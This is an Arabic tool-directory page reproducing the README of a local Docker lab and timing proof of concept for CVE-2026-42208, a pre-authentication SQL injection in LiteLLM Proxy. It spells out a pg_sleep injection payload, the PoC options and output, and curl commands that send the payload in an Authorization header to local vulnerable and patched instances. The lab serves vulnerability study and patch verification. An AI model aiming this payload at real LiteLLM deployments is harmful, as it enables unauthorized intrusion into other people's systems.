Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-42208-Lab — # مختبر Docker محلي وإثبات مفهوم قائم على التوقيت لـ CVE-2026-42208، حقن SQL قبل المصادقة في LiteLLM Proxy، يوضح الحالات الضعيفة مقابل المُصححة. | Kitploit
أدوات/GitHubGitHub/rootdirective-sec/cve-2026-42208-lab
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubrootdirective-sec/cve-2026-42208-lab

CVE-2026-42208-Lab

# مختبر Docker محلي وإثبات مفهوم قائم على التوقيت لـ CVE-2026-42208، حقن SQL قبل المصادقة في LiteLLM Proxy، يوضح الحالات الضعيفة مقابل المُصححة.

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-42208 — إثبات المفهوم الزمني لحقن SQL قبل المصادقة في LiteLLM

مختبر Docker محلي وإثبات مفهوم بأقل ضرر لـ CVE-2026-42208، وهي ثغرة حقن SQL قبل المصادقة في مسار التحقق من مفتاح API في LiteLLM Proxy.

يوضح هذا المستودع الفرق بين نسخة LiteLLM المعرضة للثغرة ونسخة LiteLLM المصححة باستخدام إثبات زمني يعتمد على pg_sleep() في PostgreSQL.

النطاق: مختبر محلي / اختبار مصرح به فقط. إثبات المفهوم الافتراضي لا يقوم بتفريغ بيانات قاعدة البيانات ولا يعدّل بيانات قاعدة البيانات.


نظرة عامة

تؤثر CVE-2026-42208 على إصدارات LiteLLM Proxy من 1.81.16 حتى الإصدارات السابقة لـ 1.83.7.

يتم تفعيل الثغرة من خلال رأس Authorization: Bearer ... مخصص يُرسل إلى نقطة نهاية API في LiteLLM. في الإصدارات المتأثرة، يمكن أن يصل الرمز المقدم من المتصل إلى مسار استعلام SQL أثناء التحقق من مفتاح API.

يقارن هذا المختبر بين:

الخدمةالإصدارالرابطالنتيجة المتوقعة
vulnv1.83.6-nightlyhttp://127.0.0.1:8081استجابة 401 متأخرة
patchedv1.83.7-stablehttp://127.0.0.1:8082استجابة 401 سريعة

يستخدم الإثبات حمولة مشابهة لما يلي:

root@kitploit:~
' OR (SELECT pg_sleep(6)) IS NULL --

يجب أن تعيد كلتا الخدمتين HTTP 401، لكن يجب أن تستغرق النسخة المعرضة للثغرة حوالي 6 ثوانٍ للاستجابة بينما يجب أن تستجيب النسخة المصححة بسرعة.


هيكل المستودع

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   ├── Dockerfile
│   └── config.yaml
├── patched/
│   ├── Dockerfile
│   └── config.yaml
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

بنية المختبر

root@kitploit:~
localhost:8081  ->  LiteLLM المعرض للثغرة  ->  PostgreSQL db-vuln
localhost:8082  ->  LiteLLM المصحح     ->  PostgreSQL db-patched

خدمات PostgreSQL هي خدمات Docker داخلية ولا يتم كشفها للمضيف.

يتم كشف منافذ HTTP الخاصة بـ LiteLLM فقط:

منفذ المضيفالخدمةمنفذ الحاوية
8081LiteLLM المعرض للثغرة4000
8082LiteLLM المصحح4000

المتطلبات

  • Docker Desktop
  • Docker Compose v2
  • Python 3

تشغيل المختبر

root@kitploit:~
docker compose up -d --build

تحقق من حالة الخدمات:

root@kitploit:~
docker compose ps

الحالة المتوقعة:

root@kitploit:~
db-vuln      healthy
db-patched   healthy
vuln         healthy
patched      healthy

تشغيل إثبات المفهوم

اختبار النسخة المعرضة للثغرة:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

اختبار النسخة المصححة:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8082

خيارات إثبات المفهوم

root@kitploit:~
--url      رابط الأساس المستهدف
--path     مسار API للاختبار. الافتراضي: /v1/chat/completions
--sleep    الثواني لـ pg_sleep(). الافتراضي: 6
--rounds   عدد جولات الفحص. الافتراضي: 2

أمثلة:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions

المخرجات المتوقعة

النسخة المعرضة للثغرة:

root@kitploit:~
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2

[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'

[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'

[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation

النسخة المصححة:

root@kitploit:~
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2

[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'

[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'

[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed

أدلة من التشغيل المحلي

مثال على نتيجة من هذا المختبر:

root@kitploit:~
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s

vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s

الملاحظة المهمة هي أن كلتا الخدمتين تعيدان 401، لكن الخدمة المعرضة للثغرة فقط تتأخر لمدة تقارب مدة pg_sleep().


لماذا يُستخدم الإثبات الزمني

يستخدم هذا المستودع إثباتًا زمنيًا لأنه أكثر أمانًا من استخراج البيانات.

يثبت إثبات المفهوم أن تعبير SQL المحقون يتم تقييمه من خلال ملاحظة تأخير الاستجابة. لا يحاول تفريغ صفوف قاعدة البيانات، أو استخراج مفاتيح API، أو تعديل السجلات، أو تجاوز المصادقة.


فحص زمني يدوي

الخدمة المعرضة للثغرة:

root@kitploit:~
time curl -sS -o /dev/null -w '%{http_code}\n' \
  -X POST http://127.0.0.1:8081/v1/chat/completions \
  -H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
  -H "Content-Type: application/json" \
  -d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'

الخدمة المصححة:

root@kitploit:~
time curl -sS -o /dev/null -w '%{http_code}\n' \
  -X POST http://127.0.0.1:8082/v1/chat/completions \
  -H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
  -H "Content-Type: application/json" \
  -d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'

السلوك المتوقع:

root@kitploit:~
vulnerable -> حوالي 6 ثوانٍ
patched    -> استجابة شبه فورية

التنظيف

root@kitploit:~
docker compose down -v

يزيل هذا الحاويات والشبكة وأحجام PostgreSQL.


ملاحظات السلامة

هذا المختبر مخصص للاختبار المحلي والمصرح به فقط.

لا تقم بتشغيل إثبات المفهوم ضد أنظمة لا تملكها أو ليس لديك إذن لاختبارها.

لا تستخدم مفاتيح API حقيقية من مزودين أو بيانات اعتماد LiteLLM للإنتاج في هذا المختبر.

يتجنب إثبات المفهوم الافتراضي السلوك التدميري ولا يستخرج محتويات قاعدة البيانات.


المراجع

  • GitHub Security Advisory: GHSA-r75f-5x8p-qvmc
  • NVD: CVE-2026-42208
  • CVE Record: CVE-2026-42208
  • LiteLLM Security Update: CVE-2026-42208 in LiteLLM Proxy
  • Bishop Fox: CVE-2026-42208 — Pre-Authentication SQL Injection in LiteLLM Proxy
تنزيل الأداة